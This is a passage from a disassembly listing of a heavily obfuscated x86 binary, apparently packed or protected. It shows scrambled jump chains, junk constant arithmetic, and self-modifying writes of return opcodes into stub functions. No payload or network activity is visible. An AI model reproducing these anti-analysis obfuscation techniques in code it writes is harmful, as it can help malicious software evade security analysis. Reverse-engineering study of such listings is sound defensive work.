; ---------------------------------------------------------------------------

loc_44183A:				; CODE XREF: kgbikm34:004454C7j
		xchg	edx, eax
; START	OF FUNCTION CHUNK FOR sub_43DC9A

loc_44183C:				; CODE XREF: sub_43DC9A+780Fj
		or	ebx, 0EF1A386Bh
		add	ebx, 48B1E9h
		xchg	ebx, [esp-0Ch+arg_8]
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_43DC9A
; ---------------------------------------------------------------------------

loc_441850:				; DATA XREF: sub_437954+7D21o
		push	edx
		call	sub_43FD86
		mov	eax, 0D59435E2h
		call	sub_43BF6F
		mov	ds:off_41E070, eax
		lea	eax, sub_44720A
		jmp	loc_441F6B
; ---------------------------------------------------------------------------

loc_441871:				; CODE XREF: kgbikm34:00448FC4j
		push	21497248h
		pop	eax
		and	eax, ds:4000F7h
		add	eax, 7D96393Ch
		push	esi
		pushf
		push	90034BA3h
		pop	esi
		jmp	loc_441666
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_237. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B1E8

loc_441891:				; CODE XREF: sub_44B1E8+Dj
		jmp	nullsub_8
; END OF FUNCTION CHUNK	FOR sub_44B1E8
; ---------------------------------------------------------------------------

loc_441896:				; CODE XREF: kgbikm34:0043C529j
		mov	edx, [esp]
		push	ecx
		mov	ecx, eax
		call	sub_442DB2
; START	OF FUNCTION CHUNK FOR sub_43CA80

loc_4418A1:				; CODE XREF: kgbikm34:loc_439A21j
					; sub_43CA80+2335j
		jmp	loc_43E3C5
; END OF FUNCTION CHUNK	FOR sub_43CA80
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A796

loc_4418A6:				; CODE XREF: sub_44A796-11375j
		jmp	sub_43BF6F
; END OF FUNCTION CHUNK	FOR sub_44A796
; ---------------------------------------------------------------------------
		sub	ebx, ebp
		jmp	loc_44087B
; ---------------------------------------------------------------------------

loc_4418B2:				; DATA XREF: kgbikm34:0043D79Bo
		push	edi
		mov	edi, eax
		xchg	edi, [esp]
		push	offset loc_444D3F
		jmp	loc_43C929

; =============== S U B	R O U T	I N E =======================================



sub_4418C2	proc near		; CODE XREF: sub_44649E-7EBDp
					; kgbikm34:00441CABj

; FUNCTION CHUNK AT 00437A93 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00439B55 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043A148 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0043A906 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 00440C83 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004425C3 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044335E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 004443F4 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00446454 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00448BDC SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044A291 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0044BD9F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044C2A3 SIZE 0000000B BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	ecx
		push	45E0C276h
		pop	ecx
		sub	ecx, 0C4681DC9h
		and	ecx, 0F6513B44h
		jmp	loc_44C2A3
sub_4418C2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441D2F

loc_4418DE:				; CODE XREF: sub_441D2F:loc_442475j
					; kgbikm34:0044248Ej
		xor	edi, 0F532EA8Ah
		rol	edi, 1Bh
		add	edi, 3A147428h
		xor	eax, edi
		xchg	eax, [esp+0]
		jmp	loc_438A40
; END OF FUNCTION CHUNK	FOR sub_441D2F
; ---------------------------------------------------------------------------

loc_4418F7:				; CODE XREF: kgbikm34:0043FC99j
		jns	loc_44CBD7
		xchg	edx, eax
		ja	loc_445571
		jmp	loc_43B84F
; ---------------------------------------------------------------------------

loc_44190A:				; CODE XREF: kgbikm34:00447C13j
		jnb	loc_448F99
		test	eax, 2C14509Ch
		jmp	loc_43AAE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44649E

loc_44191B:				; CODE XREF: sub_447E41:loc_447E4Cj
		add	esp, 8
		movzx	eax, word ptr [eax]
		shl	eax, 2
		mov	edx, [ebp-14h]
		mov	edx, [edx+1Ch]
		add	edx, [ebp-4]
		jmp	loc_439506
; END OF FUNCTION CHUNK	FOR sub_44649E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43CAB5

loc_441932:				; CODE XREF: sub_43CAB5:loc_43713Cj
		jz	loc_43A930

loc_441938:				; CODE XREF: sub_449804-460Fj
		jmp	loc_449563
; END OF FUNCTION CHUNK	FOR sub_43CAB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43B63D

loc_44193D:				; CODE XREF: sub_43B63D+4j
		jmp	loc_449FC5
; END OF FUNCTION CHUNK	FOR sub_43B63D
; ---------------------------------------------------------------------------
		adc	edi, ecx
		xchg	ebp, eax
		add	ebp, 5BC88B8Ah
		jmp	loc_4404CF
; ---------------------------------------------------------------------------

loc_441951:				; CODE XREF: kgbikm34:00440461j
		jge	loc_445758
		popf
		or	esi, ecx

loc_44195A:				; CODE XREF: kgbikm34:loc_4443ACj
		add	ecx, 19CAF6Eh
		push	offset sub_4371A1
		jmp	loc_438989
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439BDE

loc_44196A:				; CODE XREF: sub_439BDE+CFD4j
		rol	edx, 1Dh
		jb	loc_446E59
; END OF FUNCTION CHUNK	FOR sub_439BDE
; START	OF FUNCTION CHUNK FOR sub_44B8A2

loc_441973:				; CODE XREF: sub_44B8A2+18j
		jmp	loc_44D9F2
; END OF FUNCTION CHUNK	FOR sub_44B8A2
; ---------------------------------------------------------------------------

loc_441978:				; CODE XREF: kgbikm34:0043EE2Fj
		jmp	sub_4400C7
; ---------------------------------------------------------------------------
		pop	edi
		jmp	loc_446E57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43E4C0

loc_441983:				; CODE XREF: sub_43E4C0:loc_43F1DFj
					; kgbikm34:00445B56j
		xor	esi, 0A0F3AAA7h
		call	sub_43EA97

loc_44198E:				; CODE XREF: kgbikm34:00441809j
		jmp	loc_440D46
; END OF FUNCTION CHUNK	FOR sub_43E4C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F145

loc_441993:				; CODE XREF: sub_43F145-2CC2j
		jmp	loc_44C373
; END OF FUNCTION CHUNK	FOR sub_43F145
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4394EB

loc_441998:				; CODE XREF: sub_4394EB+FCDCj
		adc	edi, ebp
		jmp	loc_43D890
; END OF FUNCTION CHUNK	FOR sub_4394EB
; ---------------------------------------------------------------------------

locret_44199F:				; CODE XREF: kgbikm34:loc_449AA4j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_4419A0:				; CODE XREF: sub_44B20C+1AF5j
		jmp	loc_443D47
; END OF FUNCTION CHUNK	FOR sub_44B20C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_4419A5:				; CODE XREF: sub_43BCAD+B23Aj
		jmp	loc_441410
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------

loc_4419AA:				; CODE XREF: kgbikm34:00446D98j
		jmp	locret_43930A
; ---------------------------------------------------------------------------
		xor	edi, 0D23FE084h
		adc	eax, edi
		jmp	sub_43993A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_441819

loc_4419BC:				; CODE XREF: sub_441819-5830j
		add	eax, 7167F109h
		or	eax, 87D7C2BFh
		add	eax, 77E61FD2h
		push	eax
		pushf
		push	0FE583929h
		jmp	loc_444D93
; END OF FUNCTION CHUNK	FOR sub_441819
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_146. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F6D0

loc_4419DB:				; CODE XREF: sub_43F6D0+7j
		jmp	loc_448BB0
; END OF FUNCTION CHUNK	FOR sub_43F6D0
; ---------------------------------------------------------------------------
		mov	eax, 3CC6743Ch
		call	sub_43BF6F
		push	edi
		push	212D2523h
		pop	edi
		or	edi, 7B230B7Eh
		jnz	loc_444D12
; START	OF FUNCTION CHUNK FOR sub_4457BE

loc_4419FD:				; CODE XREF: sub_4457BE+8j
		jmp	nullsub_156
; END OF FUNCTION CHUNK	FOR sub_4457BE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_439587

loc_441A02:				; CODE XREF: sub_439587:loc_44D764j
		jb	loc_44A39E
		jmp	loc_437777
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
		mov	ds:dword_41E194, eax
		lea	eax, nullsub_29
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_29
; ---------------------------------------------------------------------------
		call	sub_43E95B	; GetCPInfo
; START	OF FUNCTION CHUNK FOR sub_4474D5

loc_441A26:				; CODE XREF: sub_4474D5+16j
		jmp	loc_442616
; END OF FUNCTION CHUNK	FOR sub_4474D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DC9A

loc_441A2B:				; CODE XREF: sub_43DC9A:loc_43C04Aj
		jmp	loc_43C4B8
; END OF FUNCTION CHUNK	FOR sub_43DC9A
; ---------------------------------------------------------------------------

loc_441A30:				; CODE XREF: kgbikm34:00437A2Dj
		or	ecx, edi
		jg	loc_446E59
		and	ecx, 9185C1B3h
; START	OF FUNCTION CHUNK FOR sub_4471A4

loc_441A3E:				; CODE XREF: kgbikm34:loc_437A17j
					; sub_4471A4:loc_43944Cj
		add	esi, 0BF995171h
		or	esi, 0BEF2FF6Ah
		xor	esi, 0CB5B2591h
		add	esi, 8BA37D4Eh
		xchg	esi, [esp+0]
		jmp	sub_4457BE
; END OF FUNCTION CHUNK	FOR sub_4471A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EF8B

loc_441A5E:				; CODE XREF: sub_43EF8B:loc_4480AAj
		sub	edx, 0E7BD7C64h
		add	edx, 96D98B47h
		call	sub_4429D6
; END OF FUNCTION CHUNK	FOR sub_43EF8B
; START	OF FUNCTION CHUNK FOR sub_439587

loc_441A6F:				; CODE XREF: sub_439587+12j
		jmp	loc_43ACBB
; END OF FUNCTION CHUNK	FOR sub_439587
; ---------------------------------------------------------------------------
		mov	ds:off_41E15C, eax
		lea	eax, sub_43ED16
		mov	byte ptr [eax],	0C3h
		jmp	loc_437904
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ED16

loc_441A88:				; CODE XREF: sub_43ED16j
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	esi
		mov	esi, edi
		jmp	loc_442793
; END OF FUNCTION CHUNK	FOR sub_43ED16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4471D6

loc_441A94:				; CODE XREF: sub_4471D6-1E59j
		shl	eax, 8
		mov	edx, [ebp-20h]
		movzx	edx, byte ptr [edx]
		or	eax, edx
		jmp	loc_4496A9
; END OF FUNCTION CHUNK	FOR sub_4471D6
; ---------------------------------------------------------------------------

loc_441AA4:				; CODE XREF: kgbikm34:0043854Aj
		jg	loc_44C86D
		shr	edx, 1Ah
		xchg	esi, [eax]
		jmp	loc_438FB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4371A9

loc_441AB4:				; CODE XREF: sub_4371A9+9j
		xchg	eax, [esp+4+var_4]
		push	5F26DDB7h
		xchg	edx, [esp+8+var_8]

loc_441ABF:				; CODE XREF: kgbikm34:loc_43C746j
		mov	esi, edx
		pop	edx
		jmp	loc_43FEEF
; END OF FUNCTION CHUNK	FOR sub_4371A9
; ---------------------------------------------------------------------------

loc_441AC7:				; CODE XREF: kgbikm34:loc_4417ACj
					; kgbikm34:loc_44B8DAj
		rol	ecx, 1
		cmp	ecx, 48F15673h
		jmp	loc_439A52
; ---------------------------------------------------------------------------

loc_441AD4:				; DATA XREF: kgbikm34:loc_4437C8o
		mov	eax, [esp]
		push	edx
		call	sub_43D1AB
; START	OF FUNCTION CHUNK FOR sub_444864

loc_441ADD:				; CODE XREF: sub_444864:loc_443E67j
		mov	ebp, 689A6A53h
		or	esi, 0DA58CF1Ah
		jmp	loc_43936C
; END OF FUNCTION CHUNK	FOR sub_444864
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		call	sub_43C7C6
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443DF0

loc_441AF6:				; CODE XREF: sub_443DF0+4j
		jmp	loc_445267
; END OF FUNCTION CHUNK	FOR sub_443DF0
; ---------------------------------------------------------------------------
		db 36h
dword_441AFC	dd 0			; DATA XREF: sub_44D9CE:loc_43BF80r
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C093

loc_441B00:				; CODE XREF: sub_44C093-1692j
		and	eax, ds:4000F9h
		add	eax, 0EFE0A607h
		xchg	eax, [esp+0]
		jmp	sub_44B537
; END OF FUNCTION CHUNK	FOR sub_44C093
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44B20C

loc_441B14:				; CODE XREF: sub_44B20C+1j
		mov	ebp, esp
		push	edx
		mov	edx, ecx
		xchg	edx, [esp+0]
		mov	[ebp-4], eax
		jmp	loc_449648
; END OF FUNCTION CHUNK	FOR sub_44B20C

; =============== S U B	R O U T	I N E =======================================



sub_441B24	proc near		; CODE XREF: kgbikm34:00446DBFj
					; kgbikm34:0044B956p

; FUNCTION CHUNK AT 0043AD37 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043C71A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004442C2 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00445FCB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00446F71 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0044948C SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0044D378 SIZE 00000002 BYTES
; FUNCTION CHUNK AT 0044D3BE SIZE 00000019 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		lea	eax, nullsub_322
		mov	byte ptr [eax],	0C3h
		call	nullsub_193
		call	nullsub_321
		call	sub_44B47A
		jmp	loc_445FCB
sub_441B24	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_444A5E

loc_441B45:				; CODE XREF: sub_444A5E-D75Fj
					; sub_444A5E:loc_4413F1j
		add	esi, 0DEE1EDA7h
		mov	[esi], eax
		call	sub_44A7FA

loc_441B52:				; CODE XREF: sub_43BA7A+CC66j
		jmp	sub_447B31
; END OF FUNCTION CHUNK	FOR sub_444A5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43ACD5

loc_441B57:				; CODE XREF: sub_43ACD5+1BACj
		jmp	loc_44B5E0
; END OF FUNCTION CHUNK	FOR sub_43ACD5
; ---------------------------------------------------------------------------

loc_441B5C:				; CODE XREF: kgbikm34:004459CAj
		pop	eax
		and	eax, 6A90453Eh
		add	eax, 0ECEC56DDh
		sub	eax, 204A2D19h
		jmp	loc_443936
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43BCAD

loc_441B74:				; CODE XREF: kgbikm34:loc_437843j
					; sub_43BCAD:loc_448B43j
		jz	loc_44E265
		jmp	loc_44CFE7
; END OF FUNCTION CHUNK	FOR sub_43BCAD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_446B3C

loc_441B7F:				; CODE XREF: sub_446B3C:loc_445F94j
		jz	loc_43A43D
		push	offset loc_441E89
		jmp	nullsub_87
; END OF FUNCTION CHUNK	FOR sub_446B3C

; =============== S U B	R O U T	I N E =======================================



sub_441B8F	proc near		; CODE XREF: sub_40479C+30p
					; kgbikm34:00439B3Aj
					; DATA XREF: ...
		call	sub_44DC12

loc_441B94:				; CODE XREF: kgbikm34:00442994j
		jmp	sub_43ACD5
sub_441B8F	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_445317

loc_441B99:				; CODE XREF: sub_445317-768Dj
		jmp	nullsub_70
; END OF FUNCTION CHUNK	FOR sub_445317
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440380

loc_441B9E:				; CODE XREF: sub_440380+D264j
		jl	loc_443B4F
		pop	edx

loc_441BA5:				; CODE XREF: sub_440380:loc_441D16j
		push	1172AF9Bh
		pop	eax
		jmp	loc_43C9CF
; END OF FUNCTION CHUNK	FOR sub_440380
; ---------------------------------------------------------------------------

loc_441BB0:				; CODE XREF: kgbikm34:loc_44DDA1j
		push	edi
		mov	edi, eax
		xchg	edi, [esp]
		push	0D8FE1CF9h
		pop	eax
		or	eax, 6B431F0Dh
		rol	eax, 2
		jmp	loc_448FCA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44A89F

loc_441BCA:				; CODE XREF: sub_44A89F:loc_446C59j
		mov	eax, [ebp-8]
		cdq
		add	eax, [esp+0]
		adc	edx, [esp+arg_0]
; END OF FUNCTION CHUNK	FOR sub_44A89F
; START	OF FUNCTION CHUNK FOR sub_44273E

loc_441BD5:				; CODE XREF: sub_44273E:loc_44C188j
		add	esp, 8
		jmp	loc_448E9C
; END OF FUNCTION CHUNK	FOR sub_44273E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43FC25

loc_441BDD:				; CODE XREF: sub_43FC25+5C51j
		jnz	loc_445FBE
		jmp	loc_43F2C4
; END OF FUNCTION CHUNK	FOR sub_43FC25
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_449D59

loc_441BE8:				; CODE XREF: sub_449D59:loc_44B755j
		or	eax, eax
		jnz	loc_43CB37
		jmp	loc_43D233
; END OF FUNCTION CHUNK	FOR sub_449D59
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44C198

loc_441BF5:				; CODE XREF: sub_44C198:loc_441EE2j
		mov	eax, 0CB39536Bh
		push	edi
		mov	edi, esi
		xchg	edi, [esp+4+var_4]
		push	615458F2h
		jmp	loc_44936A
; END OF FUNCTION CHUNK	FOR sub_44C198
; ---------------------------------------------------------------------------
		ror	eax, 1Fh
		jmp	sub_440EFA
; ---------------------------------------------------------------------------

loc_441C12:				; DATA XREF: sub_43FD1A:loc_442A80o
		xchg	eax, edx
		call	sub_4487F2
		retn
; ---------------------------------------------------------------------------

loc_441C19:				; CODE XREF: kgbikm34:0043B388j
		jmp	loc_4472AC
; ---------------------------------------------------------------------------
		dw 4E05h
dword_441C20	dd 0			; DATA XREF: kgbikm34:0043C44Fr
; ---------------------------------------------------------------------------

loc_441C24:				; CODE XREF: kgbikm34:0044C396j
		jmp	sub_43A4CE
; ---------------------------------------------------------------------------
		db 14h,	76h, 0FBh
dword_441C2C	dd 0A47292D5h, 17518A72h, 0B136C8h, 0B3D9820Fh,	158B0000h
					; DATA XREF: sub_43FD1A-45D0o
					; kgbikm34:0044CEC1o
		dd 438E54h, 0FF5A3CE9h
		db 0FFh
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440834

loc_441C49:				; CODE XREF: sub_440834-1607j
		jz	loc_43FE32
		jmp	loc_443DE6
; ---------------------------------------------------------------------------

loc_441C54:				; CODE XREF: sub_440834+64EAj
		jns	loc_43F21F
		sub	edi, 12C8F348h
		add	eax, 0D9F74077h
		push	0F582CBB3h
		jmp	loc_43D86E
; END OF FUNCTION CHUNK	FOR sub_440834
; ---------------------------------------------------------------------------

loc_441C70:				; CODE XREF: kgbikm34:0044BDABj
		jno	loc_449EFC
		not	edx
		jmp	loc_44D33C
; ---------------------------------------------------------------------------

locret_441C7D:				; CODE XREF: kgbikm34:0043A25Dj
		retn
; ---------------------------------------------------------------------------

loc_441C7E:				; CODE XREF: kgbikm34:0043CB77j
		jmp	loc_443869
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_38. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_438ACE

loc_441C84:				; CODE XREF: sub_438ACE+11j
		add	edx, 8733CE8Fh
		test	edx, 10h
		jmp	loc_4430A0
; END OF FUNCTION CHUNK	FOR sub_438ACE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43F524

loc_441C95:				; CODE XREF: sub_43F524:loc_43AFE9j
		mov	esi, edx
		xchg	esi, [esp+0]
		call	sub_445D55
		mov	eax, 201E933Eh
		jmp	loc_443341
; END OF FUNCTION CHUNK	FOR sub_43F524
; ---------------------------------------------------------------------------
		add	edx, ebp
		jmp	sub_4418C2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43A179

loc_441CB0:				; CODE XREF: sub_43A179+AB89j
		call	sub_440F62
		call	sub_43C04F

loc_441CBA:				; CODE XREF: kgbikm34:0044A92Cj
		jno	loc_445DA7
		adc	edx, esi
; END OF FUNCTION CHUNK	FOR sub_43A179

; =============== S U B	R O U T	I N E =======================================



sub_441CC2	proc near		; CODE XREF: sub_442A46-8343p

; FUNCTION CHUNK AT 0044047E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004458CE SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		call	sub_4487F2
		push	eax
		jmp	loc_44047E
sub_441CC2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437A6A

loc_441CD1:				; CODE XREF: sub_437A6A+E2CAj
		rol	esi, 1Ah
		add	esi, 2EE43A03h
		popf
		xchg	esi, [esp+0]
; END OF FUNCTION CHUNK	FOR sub_437A6A
; START	OF FUNCTION CHUNK FOR sub_446F79

loc_441CDE:				; CODE XREF: sub_446F79-B5FFj
		jmp	loc_4486EB
; END OF FUNCTION CHUNK	FOR sub_446F79
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4390CF

loc_441CE3:				; CODE XREF: sub_4390CF+A164j
		mov	eax, [esp+0]
		push	offset sub_44B6F1
		jmp	loc_442A9E
; END OF FUNCTION CHUNK	FOR sub_4390CF
; ---------------------------------------------------------------------------
		mov	[edi], esi
		jmp	sub_446652
; ---------------------------------------------------------------------------

loc_441CF7:				; DATA XREF: sub_444FD8+6E3Co
		xchg	esi, [esp]
		mov	edx, esi
		pop	esi
		sub	edx, ds:4000FAh
		add	edx, 15999A55h
		xor	edx, 8BD26BA0h
		add	edx, ebp
		jmp	loc_446D12
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_440380

loc_441D16:				; CODE XREF: sub_440380:loc_4389EDj
		jz	loc_441BA5
		jmp	loc_437B01
; END OF FUNCTION CHUNK	FOR sub_440380

; =============== S U B	R O U T	I N E =======================================



sub_441D21	proc near		; DATA XREF: kgbikm34:0044D433o
		lea	eax, nullsub_313
		mov	byte ptr [eax],	0C3h
		jmp	nullsub_313
sub_441D21	endp


; =============== S U B	R O U T	I N E =======================================



sub_441D2F	proc near		; CODE XREF: sub_401000+326p
					; sub_40D222+E0p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0043747F SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00437632 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0043774F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438519 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438A40 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00438C6C SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00439CFE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0043B7C5 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0043BF14 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0043D9BF SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0043E6FE SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0043EEBC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0043EF57 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 004418DE SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00442475 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0044668F SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00446AD4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00446E9E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00447040 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00447C56 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 004486CC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00449222 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0044C8F8 SIZE 0000000A BYTES

		jb	loc_43EEBC
		push	0DBA12746h
		pop	eax
		or	eax, 3794194Ch
		jmp	loc_43D9BF
sub_441D2F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_437548

loc_441D46:				; CODE XREF: sub_437548+13j
		test	edi, 2
		jmp	loc_440816
; END OF FUNCTION CHUNK	FOR sub_437548
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4433D8

loc_441D51:				; CODE XREF: sub_4433D8:loc_44B1ABj
		push	0BB4F63C0h
		pop	edx
		sub	edx, 0CF4F34DCh
		add	edx, 79DE42E0h
		sub	edx, ds:4000F2h
		and	edx, 50D036FDh
		jmp	loc_43FB9D
; END OF FUNCTION CHUNK	FOR sub_4433D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43EB8F

loc_441D74:				; CODE XREF: sub_43EB8F+A871j
		sub	al, 99h
		call	sub_44D37A

loc_441D7B:				; CODE XREF: sub_44DA3B+14j
		jmp	nullsub_115
; END OF FUNCTION CHUNK	FOR sub_43EB8F
; ---------------------------------------------------------------------------

loc_441D80:				; CODE XREF: kgbikm34:loc_43F8E3j
		jb	loc_43D734
		jmp	loc_44D7F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_44D21F

loc_441D8B:				; CODE XREF: sub_44D21F+8j
		push	edx
		push	2DA8AD0Eh
		pop	edx
		rol	edx, 1
		jmp	loc_446870
; END OF FUNCTION CHUNK	FOR sub_44D21F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_443AFD

loc_441D99:				; CODE XREF: sub_443AFD:loc_4497DAj
		mov	eax, 0EA3AEDBCh
		call	sub_4400C7
		push	edi
		push	0DB0C8D1Fh
		pop	edi
		and	edi, 4A6CAF70h
		rol	edi, 13h
		add	edi, 97BF8FE4h
		jmp	loc_448DC8
; END OF FUNCTION CHUNK	FOR sub_443AFD
; ---------------------------------------------------------------------------

loc_441DBE:				; CODE XREF: kgbikm34:0043E464j
		rol	edi, 0Ah
; START	OF FUNCTION CHUNK FOR sub_440443

loc_441DC1:				; CODE XREF: sub_440443:loc_43E456j
		add	eax, 0FA5DC399h
		push	esi
		pushf
		push	4B57485Ch
		pop	esi
		jmp	loc_43E9C9
; END OF FUNCTION CHUNK	FOR sub_440443
; ---------------------------------------------------------------------------

loc_441DD4:				; CODE XREF: kgbikm34:loc_44668Aj
		push	offset loc_43F8D3
		jmp	loc_449474

; =============== S U B	R O U T	I N E =======================================



sub_441DDE	proc near		; CODE XREF: kgbikm34:00441237j
					; kgbikm34:00445A03p
		xchg	ebx, [esp+0]

loc_441DE1:				; CODE XREF: kgbikm34:loc_44B8F7j
		pop	ebx
		mov	ds:off_41E01C, eax
		lea	eax, sub_445317
		mov	byte ptr [eax],	0C3h
		jmp	sub_445317
sub_441DDE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4441EB

loc_441DF6:				; CODE XREF: sub_4441EB+2C23j
		jz	loc_442CE4
		jmp	loc_44920D
; END OF FUNCTION CHUNK	FOR sub_4441EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43DF5B

loc_441E01:				; CODE XREF: sub_43DF5B+E284j
		jz	loc_442872
		jmp	loc_4435C1
; END OF FUNCTION CHUNK	FOR sub_43DF5B
; ---------------------------------------------------------------------------
		push	esi
		push	4D70245Bh
		xchg	ebp, [esp]
		mov	esi, ebp
		jmp	loc_446C6E

; =============== S U B	R O U T	I N E =======================================



sub_441E1C	proc near		; CODE XREF: kgbikm34:0043A622j
					; sub_439D4B+4460p

var_4		= dword	ptr -4
arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0043AC7E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0043E10C SIZE 00000027 BYTES
; FUNCTION CHUNK AT 004448FE SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0044AA3A SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0044BFDA SIZE 00000005 BYTES

		xchg	edx, [esp+0]
		pop	edx
		mov	eax, [esp-4+arg_0]
		push	edx
		call	sub_44824C
		push	0EDF66724h
		pop	eax
		and	eax, 1BD538F6h
		jmp	loc_44BFDA
sub_441E1C	endp

; ---------------------------------------------------------------------------
		mov	eax, 510AEA73h
		push	eax
		mov	eax, ecx
		xchg	eax, [esp]
		push	0D8FD9117h
		jmp	loc_4489CD
; ---------------------------------------------------------------------------

loc_441E4F:				; CODE XREF: kgbikm34:0043894Fj
		xchg	edx, [esp]
